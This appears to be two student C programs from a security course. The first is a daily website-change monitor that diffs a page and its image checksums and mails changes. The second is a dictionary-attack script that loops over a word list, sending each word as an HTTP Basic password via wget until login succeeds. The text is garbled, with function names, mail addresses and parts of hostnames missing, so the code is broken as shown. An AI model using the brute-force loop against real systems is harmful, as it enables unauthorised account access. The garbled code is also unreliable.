#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}



#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}
